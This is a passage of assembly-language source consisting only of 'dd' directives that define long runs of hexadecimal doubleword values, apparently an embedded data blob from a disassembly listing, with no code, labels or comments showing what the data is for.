dd 2C428AC4h, 0B6DCFF00h, 0E301CFh, 6E62D174h, 7FE021CCh
dd 60051B09h, 10D96Bh, 0C0935239h, 7209BE74h, 66CDA29h
dd 2CE06287h, 53981Ch, 0A75A95Ch, 0CD0029FDh, 0C763A86h
dd 60B25F47h, 0EDF71936h, 8F161227h, 830780Fh, 0E4F561h
dd 0EECA7079h, 71E5D6B6h, 91A20100h, 31C55E2Fh, 81065A05h
dd 142D8DACh, 20074A2h, 38A9131Fh, 87004807h, 1BA5B1AFh
dd 5BDC6B7h, 0C51FCADCh, 0A0CC1483h, 5595E781h, 0D302D2FBh
dd 3B822FE9h, 0F8D04533h, 946B3E2Fh, 1DB316C8h, 3D55018Ah
dd 0D579D9A0h, 8756202Bh, 3C182A0Eh, 74D5A91Ah, 0D8B60D4h
dd 6DE81BE9h, 9C5820BAh, 92FE80ACh, 4C0489ECh, 3B00F4F8h
dd 73EFAA87h, 7A07A0D6h, 1F82BB05h, 0D34C1BF0h, 0D828006Eh
dd 91F4643Dh, 4201CB92h, 36FDE533h, 0DE20ED21h, 79460027h
dd 0FF4B4C19h, 0C9379D18h, 4E834004h, 0F018DE82h, 9BC300ABh
dd 6234459h, 0C90004BBh, 0E87CB826h, 6AB97FDh, 83413E79h
dd 4C033044h, 6BA62791h, 0EA39C8B6h, 0C9BC0014h, 0BD81E81h
dd 7B307A8Ch, 90A86161h, 7738C74Ah, 8AB520BBh, 0A901ADE3h
dd 0A10908D3h, 20834C24h, 0F8479ACh, 2156B11Bh, 779DF819h
dd 0AEC900A3h, 0D86E8DD7h, 0A51852D0h, 34D14D13h, 6A9100DCh
dd 6F63E25Eh, 6407A77Ch, 4C5BD2BEh, 20F6F08Ch, 3F07FE4Ah
dd 0E91C4D7Fh, 0A249D632h, 99C74084h, 0BC70F8B8h, 9B6406DBh
dd 9901607Ch, 0CE788174h, 10F873Ah, 846E941Fh, 90915F6Ch
dd 0F338004Bh, 8892569Ch, 62400068h, 0B40BBD7Fh, 705F790h
dd 0ABA67E57h, 7D82B006h, 60BFA0E9h, 642301D8h, 0EC1D2690h
dd 158916Bh, 0AE8E8500h, 373440CBh, 0E735C00h, 0BC7FD23h
dd 0DF7C0F9Ch, 517982BCh, 86B8E3A7h, 42E4A4FBh, 695405B0h
dd 7C0049CCh, 62DF16DAh, 584FBD66h, 730192E7h, 238CFAAEh
dd 585FE4ABh, 5BCF31C0h, 0CCD03Bh, 645C0552h, 0F122CD5Ah
dd 34E66300h, 780AAFE1h, 7A820CC7h, 0BB39AE84h, 6867D500h
dd 3BFDAAA8h, 7B3C0007h, 0FE9D1B05h, 0D8D81A94h, 3B448CB8h
dd 0EB8086D1h, 0FDA9B9D7h, 2300052Ah, 45491B78h, 141A395Bh
dd 0C85FDFE4h, 6F8EDC80h, 840131A7h, 22571396h, 8044F6DDh
dd 3C1031C3h, 76011229h, 5AF54FF3h, 53CBF89Dh, 0A9576030h
dd 3E44487Bh, 0CF7A402h, 6CC4F815h, 0E9092D2Ch, 2028AEA0h
dd 44C08514h, 1AB80E67h, 86E0EA81h, 0B0784DE3h, 8A6B2107h
dd 0D352CF68h, 23D8410Eh, 521324C0h, 9F3DCC83h, 549ECF00h
dd 3940F167h, 28DF7101h, 0E361AF1Ah, 1F31FD8h, 0F2F8ACA5h
dd 244A10FAh, 0B8F2A900h, 0DC02BA07h, 0A400A103h, 0A5AC62h
dd 0ECC36DAAh, 91EDE1EBh, 0CF90663h, 6B4087BEh, 1EC6342h
dd 4E565249h, 2212AC1Ah, 0F981002Ch, 0D6CDEFF3h, 0D1D0053h
dd 0DCE7AAC6h, 420CAFB9h, 502A0560h, 0B5FEF3h, 7D336C5Ah
dd 4C681C30h, 0F67ACC02h, 40014EDEh, 124176E4h, 789F1F9h
dd 358A49B8h, 94A04139h, 0CB1F6D60h, 6858F6A8h, 0B52E8912h
dd 0D8498600h, 6E21E3Ch, 18EF9D5Ch, 6031A01Ch, 0DFE8D102h
dd 26A70BC4h, 93880A82h, 0AF042014h, 10009D4Ah, 96D546Ch
dd 9997B07h, 1903AC15h, 56049418h, 0EB001042h, 57DB8BE4h
dd 8119C0F7h, 1118FCA0h, 87452C40h, 83600063h, 962F07D0h
dd 0BF14BAFBh, 1088FF3Fh, 3720629Ah, 57DF4306h, 6148CAh
dd 912386F2h, 0A18C4D8Ah, 8718889Ah, 0DF61E910h, 0EC430649h
dd 0E85C33DEh, 988F883Bh, 20F9056Fh, 7C93E2h, 9C7C5475h
dd 7A098822h, 0A148A10Fh, 4C69D98h, 0D08B2C40h, 0C1A890EAh
dd 35DDE7A8h, 40A1F17Dh, 0D29BBF44h, 29803900h, 88486531h
dd 68071CD7h, 71617D7Ah, 48741756h, 0E92C4D98h, 449204Ah
dd 0F84206DCh, 48668D0Fh, 44CB5711h, 99471318h, 5A2C90C9h
dd 6A01D5F9h, 27A1DCE6h, 12B85180h, 4677D428h, 0DD13AA00h
dd 62480479h, 22F54CF0h, 4F18F100h, 6A4D0FABh, 340EE090h
dd 13F91E90h, 8E049848h, 0FA411F2Dh, 809DAB3Dh, 18F822F1h
dd 0F938DA1h, 92822E3Eh, 1E73040h, 1C1D3281h, 78AC4F72h
dd 0F7D91060h, 3C3B0022h, 75F96505h, 0C060D487h, 96F3B5A4h
dd 0FCA0056h, 9455C674h, 0AA18101Fh, 77117387h, 29B463AEh
dd 59017C82h, 0FD9598BBh, 87C607B7h, 79D10FF8h, 0C1804F10h
dd 936AD162h, 0DC380D40h, 5BFA8004h, 8F782F4h, 797430h
dd 0BC0545B0h, 3B098541h, 4911C260h, 26F4B275h, 60744F87h
dd 8BAF76ABh, 24009776h, 654EAAECh, 17185FB7h, 4504F311h
dd 4B909410h, 50108398h, 0DD0042C2h, 0EA78A880h, 0B069146Dh
dd 8545187Ch, 81BB6166h, 560054B9h, 3F51620h, 5A5324A6h
dd 13F21DE2h, 0A804FA97h, 5DC104E0h, 5472C779h, 4A92C000h
dd 0F0F5F28Ah, 838DFB00h, 1867EAC6h, 0BB0200B0h, 2627C73Eh
dd 2324F031h, 5307340Dh, 797C256Bh, 0B9D614EBh, 3680E082h
dd 0A16FE3DEh, 89154E03h, 93C9EDF5h, 21B9E061h, 6E2718FDh
dd 268F489Bh, 24DD49h, 0AB1966EAh, 0C072B592h, 36BD80E0h
dd 26022EEBh, 256F45Ch, 2F94A298h, 0B1FE277Fh, 8FF11F67h
dd 37CB9C08h, 2985BC21h, 0F4E7AC11h, 8E26ADEAh, 0ED019C54h
dd 31C7E3Ch, 880011E9h, 796081BAh, 50F1959h, 3E0A00A8h
dd 4B8FB723h, 1A00C011h, 0E5ABC2ECh, 0B09FCE6h, 397E83C7h
dd 8BBB405h, 214063B0h, 1FC0BD4h, 0A260CB25h, 3EDAF5E0h
dd 286935A0h, 9684678h, 8EFB1119h, 81DA4C01h, 212FD097h
dd 0B0E7062Ch, 24082300h, 0A4FD0FFFh, 213008C4h, 393D3DE3h
dd 0BCA1A470h, 9A280D40h, 89E003Ch, 0E6A72597h, 9328AE16h
dd 322084F7h, 0C89D1380h, 47602005h, 0C7140748h, 8888AA5Fh
dd 58728045h, 0BD4777BBh, 0FBC8B200h, 5142D344h, 8FA13010h
dd 639DC579h, 8C7B007h, 952711B5h, 0FD0A0CF3h, 242830D0h
dd 0EFD80088h, 89AC1D90h
dd 687D6BB9h, 0A5023FF4h, 0D02CC882h, 5AA460DCh, 674A04F2h
dd 0A202BECAh, 71A330A8h, 95C7ACh, 2011D936h, 0AFF82FC0h
dd 889B5626h, 2922A99Dh, 13CC7A46h, 79AA008Dh, 4824B75Ah
dd 7B200161h, 0BB004AE8h, 8E0BB0C9h, 0BE93738h, 614C0058h
dd 4CCFBE82h, 78225846h, 0A7E6DB00h, 0C89EF529h, 395D0F82h
dd 0EE39097h, 0D880C763h, 29008122h, 0B9CB2F7Ah, 17AB4406h
dd 40E28525h, 93D0BBD0h, 0E703D84Dh, 12389C6h, 0F181C18Ch
dd 0F256022h, 40897820h, 0C000795Eh, 0C2FBB284h, 4FE743h
dd 13BB873Dh, 2276B5E1h, 0DD7D46F2h, 0D010B8DEh, 847E870Ah
dd 9851283Ch, 4664AD4h, 4B58BCh, 0D6CFF2DBh, 53E005Dh
dd 0FA32367Fh, 0E20079EAh, 91825093h, 0A8AB601Eh, 0A8A5A898h
dd 56AC8h, 0B9B211A6h, 0C8898108h, 8F583858h, 116F29A0h
dd 0F1452DCh, 88F23FF0h, 6CB81440h, 839C3E0Ch, 12253170h
dd 0C1EA4h, 2DAB7B9Bh, 0B1C05560h, 0A9AAEEDDh, 0B41D006Fh
dd 0F796955Dh, 1B00C175h, 0E66D26ADh, 2B9F448h, 3107E7ABh
dd 14604B4Eh, 0F0CB32Ah, 69492457h, 6A155840h, 9C4C700h
dd 9835E24Bh, 8065CA00h, 7FBB6137h, 0C9201DA7h, 25F9402Ch
dd 84CB2A0Ch, 70724E00h, 0B9977901h, 33A77CCh, 6BF7BCCAh
dd 0B814C4Bh, 0D7FFCADh, 4BB88A8h, 878B9702h, 0A0F6CA9Ch
dd 0F4F1D8F0h, 7FFF3C95h, 9F372D0Fh, 6ECD40FFh, 99C6315Fh
dd 13FCE500h, 26CFACA3h, 71833127h, 0C0EC07C1h, 5400E98Ah
dd 0FC373C9Fh, 4DA5268Dh, 7700B41Fh, 4471C5A8h, 0F5CAA58h
dd 0B62481BCh, 5330485Ch, 9431039Bh, 1490DF53h, 0B7F01E09h
dd 603C8202h, 58BCA06Ch, 38F436h, 0F931E390h, 7609453Eh
dd 0B715071Dh, 12C68289h, 9148E8B0h, 871899B6h, 0C37D7B96h
dd 4EC8E65Fh, 942C6B29h, 0CC265FD6h, 37A74382h, 2CD4E64Bh
dd 0E3C2B33h, 0E583F477h, 10AA53A1h, 650078E4h, 756D4583h
dd 26FBA36Bh, 60ECB9DDh, 0D1A4C614h, 175B482Eh, 9F5D000h
dd 0EE37E618h, 91440123h, 1A9BB619h, 0C270716Ch, 3E2AE02Fh
dd 19BB4F43h, 28888561h, 0A5F040CFh, 0B4918056h, 92CAAC83h
dd 5A12A22Dh, 68951C28h, 761A430Eh, 2890D3Bh, 27B67069h
dd 9C02BEFCh, 4DE114DFh, 118798Ch, 1A827FE7h, 9DA44029h
dd 51C3F1F7h, 18368C4Eh, 0E17B8329h, 0E800A4C2h, 0D5959947h
dd 1D93302h, 0FFBE72D0h, 20C719E1h, 0F006E8B8h, 7ED88659h
dd 39CA0939h, 0D0802506h, 744A941Fh, 7AE9D602h, 46265605h
dd 31FE1F90h, 904F1814h, 0DF8904CBh, 1D8D9CC0h, 5CAC2339h
dd 0E36C2461h, 0F8927824h, 0B49068C4h, 0C4376C02h, 0E8607DF6h
dd 6EFF88h, 3C27ABF4h, 7D796E5h, 24DBD625h, 0C05F4C38h
dd 0C1F5D335h, 9F008850h, 42B8D7C7h, 1425EA5Bh, 0CC608D75h
dd 0DB1C300Fh, 1122D640h, 460B4D89h, 2D7E88Ch, 48ED5DF2h
dd 199E48Ch, 9C13F388h, 28D79F77h, 7F558394h, 906CB809h
dd 0CE053EA8h, 0F5227D00h, 0A168C145h, 0F093C004h, 0A8C8950Fh
dd 58FE7837h, 6085488Dh, 9EEC5E6Ah, 5FB200A6h, 6D81610Fh
dd 521DE400h, 4E4F8864h, 0C2949EE9h, 98089C56h, 0B7366400h
dd 2E4F3272h, 607028E9h, 3B92EDD7h, 4CA9E03Ch, 951300ADh
dd 62B34C63h, 7DC57855h, 1AAE0481h, 0C0370A31h, 0D6674D6Ch
dd 0F8070A90h, 0C4F12093h, 0B080F304h, 4BE940Ch, 7B825230h
dd 61D100FFh, 0FECC4Eh, 0D5EE44B5h, 5E1F7337h, 436A4D0Fh
dd 975A04ECh, 0AE9EDC80h, 0DF5F804Ah, 71F49100h, 7419B6D5h
dd 0F1D603F6h, 0C5C6B18Bh, 8CF93804h, 74802A76h, 1E624093h
dd 2E2919EAh, 8A4EE254h, 9403885Ah, 195A1638h, 0E063DB20h
dd 722CFh, 0A0F6F9AEh, 95529A43h, 0CD45EA0Bh, 9E944953h
dd 0E32C9110h, 0C103CCF0h, 0D9C043DBh, 579AB8BAh, 548D4C4Eh
dd 0A2C59D85h, 1D9421E8h, 4070A4E7h, 0C73F7780h, 5641A094h
dd 407272CBh, 0BB03447Dh, 0ECEFA929h, 0B01D29BAh, 14D01413h
dd 87988Ah, 0A75F60F5h, 8295D975h, 0BC0F2E4Ah, 52BF2035h
dd 6E3A16h, 0C7CC6D0Ch, 3E4858F5h, 1975500h, 0FE4418B1h
dd 0C4267E6Bh, 0E27F46A9h, 14A90120h, 749F3A5Dh, 9C132830h
dd 0F7CB886Ch, 6F003497h, 9173F28Ah, 0B5700026h, 68024213h
dd 7F04EA93h, 847AF40Fh, 3556E088h, 7D147A9h, 0C8512504h
dd 3BDF2F05h, 7E204000h, 0A4834DF4h, 30A2A2E8h, 8479248Ch
dd 11CE320h, 0B48617F3h, 70AF3912h, 4E0EEF4Eh, 2268612Eh
dd 44ADFE4Ah, 3F5100DCh, 0A0E55FF1h, 700CAABh, 0D2184D70h
dd 75B659Fh, 0AFD6946h, 0F8F9108Bh, 9375EF97h, 4E24D890h
dd 0E449148Eh, 8F670328h, 74BC9B78h, 3BFDA798h, 0A8B8CF72h
dd 0FE9D2004h, 148808D2h, 8BAC8831h, 9AAE7218h, 0F23DE851h
dd 21F2C3h, 0E5A53127h, 0F5C456F7h, 7E794400h, 3EC281E8h
dd 78F03990h, 7B0AD19Ch, 86B41A80h, 70B07DFAh, 81F1090Fh
dd 21F00048h, 0C4156Fh, 55B8510Ah, 666EB4Eh, 8B839938h
dd 0F534222Fh, 386F6386h, 791B8400h, 2CECAAA1h, 0CD860328h
dd 6D8E76B1h, 0A20A2002h, 61B399CEh, 186AB60Eh, 0F76A11D6h
dd 21491561h, 8B08166h, 127BB510h, 80724C00h, 0A16AE70Fh
dd 22E2C08Dh, 78796C3Dh, 0CF00E0FEh, 887E9214h, 751FD6Ah
dd 520448E2h, 0BA1E81D1h, 62E5F46Bh, 5AE30905h, 0DB0170F8h
dd 0ED89A748h, 40F4C0E5h, 0FC630E0h, 623821B1h, 88230E30h
dd 60ED90D1h, 0A74E9903h, 0D20CDFF5h, 316E12C6h, 0D0D70ECFh
dd 2918E590h, 0D800F769h, 0A69F89B0h, 1DA907CDh, 2808AF5Ah
dd 290163C5h, 697873FAh, 0AEC72508h, 0D47000EFh, 79617B2Dh
dd 5112FA0Ah, 7F838CC5h, 0F092A115h, 0EAE9CF8Eh, 0F2100AD3h
dd 30AC69ADh, 9D04EC40h, 27E3810Fh, 54F4F8h, 0CD236E2h
dd 3FD47489h, 0F78E6F91h, 0FC74EE0Dh, 817A6619h, 480CF509h
dd 77004B88h, 0ACE68DA4h, 7AE49Bh, 7857D219h, 0A5BF7FC7h
dd 8488F803h, 0D875774Ch, 0C4FEF281h, 40928550h, 0C3E90EB5h
dd 3038785Bh, 6D19FE50h, 4719573h, 699A2214h, 2E71090h
dd 917D8Fh, 3FC9F06Ah, 50B3E191h, 0C28A10EFh, 0F6E890A9h
dd 0D1696048h, 4767B18h, 37FF849h, 72255414h, 0D918634Eh
dd 5F31FB4Ch, 50891891h, 0A52CD237h, 4A165E00h, 6620AE7Eh
dd 9E4C9182h, 38F898F2h, 41C0F94Ch, 0EF6D1A61h, 1DC800ADh
dd 5F271CEAh, 2F003F34h, 72E243C4h, 0E8FB201Ah, 0CCD1D455h
dd 19BE7703h, 61B65086h, 74D928C0h, 75E2B18h, 0A9CC450Fh
dd 3AC6E0C8h, 6A0C813Bh, 31C38567h, 8090545Ah, 2FD7070Bh
dd 0B05B95E5h, 99730FE9h, 0B12DBB01h, 807661A7h, 1551C8F7h
dd 5DBD00FEh, 35B90B81h, 0C760509Dh, 314E1951h, 0C90C0024h
dd 1F9F8748h, 0CF027DA8h, 0D10D8627h, 752844F2h, 360F1CEDh
dd 0EB5C86FEh, 0C0011961h, 0D1145951h, 64D0D0BBh, 0C0E7825h
dd 8DBD8941h, 0A1010CB1h, 4367005h, 830A86Eh, 13B4A478h
dd 329BF2AAh, 0D120FC0Ch, 7AD8AB14h, 526779CFh, 892284F0h
dd 2700D17Dh, 7CCD71Dh, 0C064F2D2h, 5EDF8449h, 2607C115h
dd 9C53F3DDh, 0B0CDC460h, 4C1D00C6h, 45DA769h, 149170B2h
dd 0F9846685h, 1740401Ch, 4AF870E4h, 0B8D26210h, 0E32FFD82h
dd 0A16B1D25h, 7630B7A1h, 0C1E22491h, 0DE698F58h, 0CB2CAA41h
dd 62BD8D9h, 85CD6112h, 89C19C28h, 541301AEh, 48004106h
dd 37836A90h, 27CB528h
dd 817945E8h, 1C607E64h, 48A044EDh, 685007F8h, 0F2428364h
dd 0E36A1Eh, 3604341h, 80990EF8h, 0CF76B480h, 0EECD770h
dd 0A0024E4Ah, 1051F400h, 6D012198h, 8DDCE971h, 18802301h
dd 0B9BBC707h, 170719F0h, 0A72EA911h, 88D0D3D3h, 6406C6A6h
dd 0C0126170h, 0A7D42022h, 80146858h, 6BCB786h, 4205072Ah
dd 10B99FE6h, 0FE45829Eh, 3400F4A4h, 0CCF655E3h, 0C947FDh
dd 9DC12F2Ah, 145AEADh, 1AC6F80h, 0B7C85E98h, 8074F3AAh
dd 0A6F0E4A8h, 203991h, 0BCBA34Bh, 3F0C3EB6h, 5126BA01h
dd 80A9F10Ah, 7231E0h, 578A8BE3h, 0B3BAE5A1h, 0E2D08200h
dd 39ADE970h, 0B9936159h, 0E018E4B4h, 867C9897h, 0B7F90703h
dd 0E00F794Bh, 483565F3h, 1009C6Dh, 0CF20A7FFh, 67004F77h
dd 7A2FC9E2h, 278D916h, 0C0FA5DDFh, 0C4C44687h, 7ECBFE00h
dd 7F435C57h, 99230049h, 0F1B2D3D1h, 8906C69h, 2BDAE200h
dd 0B5D4EA7Bh, 0F4ED1278h, 74002045h, 824863F5h, 712C0E0Ch
dd 0D7D087CCh, 8EF2111h, 2E34430h, 7073D231h, 0D121C650h
dd 2EE474EAh, 4CA90097h, 3177B278h, 0C4EC20F5h, 20E258h
dd 71B6A80Dh, 787C11Ah, 46A677CDh, 6915A0ADh, 503E48EDh
dd 787D30E6h, 155E7112h, 0D405A2A3h, 20BE7813h, 25F40808h
dd 4583150Ah, 0BC8080FCh, 0A4811816h, 807E4Dh, 0D5507210h
dd 7A917563h, 89490663h, 3D68D659h, 0FA802345h, 4D1822FEh
dd 6BF62A61h, 0BDEF7100h, 0EE3BE2E7h, 601B0243h, 1A0E19A8h
dd 31160CC1h, 0E8F6F548h, 990C712Eh, 89E7457Eh, 0C0270002h
dd 0B18DE0DCh, 484A932Ch, 0AD003FA8h, 0FCA6D5FEh, 4B521F3Fh
dd 8F2050BCh, 9A73E00Eh, 0EB0C1E6Dh, 3917118Eh, 0A8FC7A55h
dd 6162369Ch, 5A0C5269h, 8B88503Ch, 370078FAh, 0CCB4CDE2h
dd 38CF27h, 2BBB9EC4h, 5068A448h, 2609A1C0h, 1F915269h
dd 9985C81h, 0B8072B7Ah, 0E84593AEh, 6A5F2900h, 52C04E95h
dd 0CE30FF26h, 68A2010Fh, 0AC15B398h, 7BE2F055h, 0C30F126h
dd 4008026h, 7912A8E1h, 391C2EA7h, 6080AC70h, 0AD22EE2h
dd 0BBBF800h, 7DF9BCCFh, 58F892B8h, 28007419h, 0F81AB98Fh
dd 85DE506h, 52603C9Ch, 0E4C00098h, 7BB97183h, 0F3EC00F5h
dd 6025E263h, 0F72C6AAFh, 0C14030A1h, 174DBA77h, 2058D7DFh
dd 32E1CC00h, 3C1F7C00h, 0A669C1B5h, 88C9821Bh, 0E344600Ah
dd 1ABE950Ah, 807B617h, 6A709AC5h, 1ACE3D60h, 518876B1h
dd 2E1FDE40h, 0F7B9BD0Fh, 0AEA203B6h, 69100E2Ch, 0B01EF2D0h
dd 2E4D3D60h, 9F713500h, 5D166FEAh, 0F6AC3B88h, 8FB4B626h
dd 21709229h, 3371606h, 596F214h, 0B478112Eh, 261CB1B0h
dd 0F4811055h, 2DA20719h, 52035F08h, 20C601h, 0FD7621C9h
dd 0F1737E0Ah, 0FCE0F001h, 0D0848AF8h, 8FC443h, 41ED6771h
dd 4FCF5498h, 8300C0B9h, 8A66E0DAh, 0D7CD1681h, 4AAC05D0h
dd 1C5480BFh, 0B97C33B7h, 0CF52E005h, 903072F9h, 702AA47h
dd 766A196Fh, 0DA90C3C2h, 87714FE0h, 50BB2332h, 0E066B5h
dd 683CE9C8h, 9D781680h, 0C3E16301h, 90EFCD7Fh, 5410A5D9h
dd 74B82EF5h, 8C209524h, 0E45BC4BAh, 24BF02E9h, 1170429Fh
dd 2FF44160h, 23F230C9h, 8565AA08h, 623FB8C1h, 59A07F10h
dd 0E4499260h, 0BB4787h, 0C1B92DAFh, 0E2FB661Bh, 923F3E03h
dd 0D80C8368h, 7D307C6h, 7FF9C209h, 41A08080h, 9D001902h
dd 7E10B8C4h, 0E60AF6FCh, 158A3BD8h, 6AF9DF87h, 0AFDE607Dh
dd 0B007B45h, 0BE7F0ABAh, 594AA3h, 8F9C168h, 2BB69DBh
dd 3B335703h, 3C0B07F7h, 26008940h, 0C427CE40h, 0C1014879h
dd 98817F74h, 0EDF419F9h, 0E47E00EEh, 0D9500884h, 0D10F9B0Dh
dd 23FB4785h, 3F3FCh, 0E6450A88h, 0FBAA1F2h, 0FB1BAF00h
dd 1194E47Fh, 0DDA0104h, 8C77D19Dh, 0F3308CFEh, 0FC3948h
dd 674BF24Ah, 39622D3Eh, 99BD1207h, 4347DFB3h, 870C59D2h
dd 9043088Ch, 9C393A55h, 4CF4388Ch, 0D5039411h, 0F85FBD3h
dd 8F7EA8CBh, 0C5070701h, 30CD8905h, 3BF2D974h, 2530DC63h
dd 578100F4h, 0A70331E6h, 0A600E945h, 0EC71694Eh, 19CE779h
dd 0A260BBA5h, 5003514Ah, 0FB970A9Ch, 0B0F179C0h, 1E93B63Bh
dd 8C0565h, 0FFE4D235h, 0A130EFDEh, 3DFC7124h, 68410040h
dd 0BD460E9Dh, 183B20ABh, 970C8635h, 3028E4EFh, 0DF31564Bh
dd 0B7285DF1h, 4F02E431h, 2D7375Eh, 250140D4h, 48AF00E9h
dd 13581F5Fh, 8CFCFDBDh, 0ACCCED50h, 4FDFB70Ah, 3200D8A6h
dd 0AD287D23h, 0C19F058Ch, 20B459D8h, 0A338DEC0h, 7D469B00h
dd 0E3CC10CBh, 187FE894h, 50FA5C61h, 5D5349F7h, 942180h
dd 12415AF8h, 0F7606C80h, 0B78E0750h, 9D93897h, 0F21C4BAAh
dd 307D0067h, 0AE9D3D4Ch, 60091E7Fh, 2217465Fh, 9001F368h
dd 1F7AE8h, 0A7D7430Bh, 80DBE68Ch, 5760060Fh, 0A1F1E554h
dd 0CAAF9000h, 17BAC8h, 0F9A43ED0h, 7C25F524h, 93111D01h
dd 1E61A512h, 1B906180h, 94515DC0h, 65E44E7Dh, 9D0014B8h
dd 0F07BC477h, 52BECFEh, 0C07F978h, 5EF4308Dh, 9801EE39h
dd 0F534232Eh, 8503DAAh, 9161A225h, 45AB00CCh, 1C06A8AAh
dd 0DAEEE902h, 0A0FA78C1h, 601F20ECh, 370E0055h, 6AF71C7Fh
dd 9C4847A2h, 0EB5F00F8h, 0DC5FEE8h, 0AE0B0C34h, 0C11E930h
dd 18A6133Dh, 25994795h, 0D8E4ABD7h, 4320E5Eh, 0E80744B2h
dd 0FA7783CEh, 2F30818h, 0E46AB31h, 23B5BB9Bh, 3BEDB4C0h
dd 4C508A0Bh, 0EA88D228h, 0BF3D0077h, 70657686h, 6F00D766h
dd 0B8C6E01Dh, 5C0922h, 39E4E9CBh, 0F35F02EAh, 81840A00h
dd 0BC5695FBh, 0FED60076h, 0CF8FF207h, 1B0203A3h, 87800A02h
dd 9C10486Fh, 695D0456h, 807C2D7Dh, 123A5B0Ch, 986B812Ah
dd 1B627F15h, 0E5BA00ACh, 7CCB0538h, 0CF390090h, 5686B84Eh
dd 6300D31Ch, 879DB669h, 0F81A9CA2h, 0F05D04E7h, 88254A03h
dd 0EAB8B2C4h, 43EFBA00h, 0E4D12B68h, 2EA4392Fh, 260E7875h
dd 36E198Ch, 0F42A5508h, 8086AEA1h, 366947AEh, 626D03h
dd 43C6CD07h, 295F788Bh, 0E009B628h, 0A8580F73h, 0A98E0C97h
dd 3CC84056h, 0C780E411h, 0CAC6B3D7h, 93017F77h, 1301DD33h
dd 7087DEBFh, 40EC56AEh, 24DB787Eh, 99F410C0h, 0C0D1B192h
dd 2C83F114h, 0D6FEBD60h, 14279C1Dh, 52C3E8DDh, 68F670h
dd 182C3570h, 0C355CC69h, 15BE670Fh, 496F20E5h, 186D9352h
dd 61627727h, 59603719h, 93804BE9h, 42D0040h, 737CCE13h
dd 0A8E41F01h, 0DB06CDF0h, 0C82919B4h, 0B54F0431h, 73B4893h
dd 946FFF2h, 0ECAA0058h, 5DDC8F7Ah, 0D417FA32h, 280043D9h
dd 0DB7EC102h, 0F14205ABh, 59B49604h, 0F8AA7094h, 0A53A65CDh
dd 0A6550002h, 0F6267FD3h, 54285419h, 11A0A67Eh, 2FCFECEh
dd 2423FDB1h, 0D771C0C6h, 0F70D03DDh, 0BEE0179Dh, 0E7B421BDh
dd 0DA99D366h, 13C8101Dh, 0C14E0EA3h, 720FAAFh, 0E77B694Dh
dd 0F8192C18h, 0A4EF7339h, 643705ECh, 3346D18h, 0E7AF04B8h
dd 86B59299h, 0F2D6BF21h, 67540139h, 93FD1828h, 0AB785084h
dd 79192DAAh, 0EF8904DBh, 728848h, 60A87DE7h, 1245A4FAh
dd 0E677E101h, 0EFF62F07h, 0D92C3441h, 13886DECh, 11FFC38h
dd 6A86D15Bh, 0D998535Ch, 34371388h, 183AB1DFh, 0DE41B1F0h
dd 29D13F92h, 88A2FA00h, 0B484E941h, 0D7DFF705h, 245E6886h
dd 8C444460h, 2913A781h, 4167CE0h, 1470B948h, 9FD0B624h
dd 100009D0h, 0D8717D7Ch
dd 8200A032h, 8F78B793h, 21C4A1h, 96927981h, 1732AB0Fh
dd 384D8524h, 0E1155A11h, 5301DCEBh, 4B0B6368h, 455630EDh
dd 89BAEF30h, 5C18CBh, 0A31AE4ECh, 5339D2E6h, 8642D800h
dd 0F2949F2Ah, 0CCDF1C9Bh, 0BF49034Eh, 0A1751DDBh, 5AC42354h
dd 0A997961Fh, 12BC6381h, 25E0B198h, 0D50F0023h, 830AB755h
dd 10EBF007h, 0A4F9E1BFh, 7C8810F8h, 0AD22BBh, 0B538DFCDh
dd 0FF524E80h, 3016A18h, 2CF4C79h, 591CBF46h, 0E2405C74h
dd 0F818FBB3h, 67CEE50Ah, 7FE224A1h, 0BF034100h, 5C84C2DAh
dd 653A4210h, 32A6C0DFh, 0C45C1891h, 0A98F18D3h, 1660DBFCh
dd 49422829h, 1F3BE2B8h, 8033EBEAh, 84E7FCB0h, 0E1006618h
dd 8EBADFFAh, 1208E37Dh, 241C2BB5h, 86244084h, 0B37C9BB9h
dd 0ADEFD400h, 2587EAE0h, 28490013h, 6CFAE2E5h, 0CF0009AEh
dd 6F880CD7h, 788C2361h, 0C6B607CDh, 0C035C796h, 4218D34Fh
dd 0DED92000h, 330F2C8Dh, 765B0190h, 58AB46F3h, 6104304Ah
dd 8756E08Bh, 947D00A6h, 4377CC68h, 5860363Fh, 0ED17AD20h
dd 6FC203B6h, 26327254h, 5D94EE98h, 0CBD18201h, 0B21387DFh
dd 1FF3030h, 8FF7042Ah, 0C3A93A81h, 4607E100h, 63D6F073h
dd 5779C064h, 709D09B3h, 2C194B15h, 0F8791348h, 2473F447h
dd 0B699FD71h, 7618F822h, 52E88853h, 61388F0Bh, 0E0180E01h
dd 6E88C3F4h, 0AA543173h, 80665531h, 0ED3FB359h, 72A63A8h
dd 0C12F3592h, 251F4047h, 3A14DA0Ah, 42F09E18h, 0E0CE0020h
dd 0BC9067B2h, 0ABF10703h, 0C08E5243h, 0A9511B85h, 696A7800h
dd 17965BDEh, 545A0156h, 0CEE24E9Dh, 0FBDBCC66h, 5CBE2503h
dd 0AE986FDh, 7792A259h, 2B19419Ch, 0FFA99C8Fh, 5C801064h
dd 0E91DA25Dh, 31A439CFh, 0EC0C5800h, 0DF186852h, 2E7BDCA0h
dd 6B4CE890h, 0B9EF1830h, 9E5E61h, 3F773855h, 962B49C2h
dd 0E7A46100h, 931D8929h, 5AAB2CCDh, 21791214h, 322E197Ch
dd 0E1B44014h, 2F7EFB07h, 4BC06A25h, 13065487h, 0C79123h
dd 0BF5C86FCh, 0FE00AAE3h, 34DEBDDFh, 121518D4h, 4007FFCFh
dd 8122E7ACh, 0C000F06h, 0E8DA87EFh, 144367h, 25223C6h
dd 0B5BC1FCFh, 5A88D400h, 2CEFB0F6h, 10D361EDh, 0F0898473h
dd 853CBBF0h, 87C2063h, 362277B9h, 4076D740h, 0E3E5366Ah
dd 20840838h, 0ABB63902h, 0C49BFDC0h, 2C553020h, 27E716F1h
dd 0C3269F07h, 0D607456Ch, 9600DFFFh, 9764C4BEh, 0EDD0008h
dd 71AADB76h, 0F2004D41h, 9C78C1D0h, 1CBB50EEh, 44C38F67h
dd 0C8F6D6BDh, 65003764h, 3066BEE3h, 26DA77E5h, 67385CBCh
dd 0C6A03053h, 7104A3D7h, 7858E6EDh, 0AE61BFC3h, 0E1570AA1h
dd 800862E5h, 70AB9DCAh, 0E25C0349h, 0CF951F1Ch, 2028D932h
dd 946EEB27h, 8341D700h, 2145DACDh, 8BC20056h, 0DC92BA01h
dd 0B2592A18h, 747600ECh, 3077D162h, 7C90981Ah, 171B8961h
dd 932BCBA0h, 0C151584Dh, 0EEA8C34Ah, 78276FD8h, 1CD8584Dh
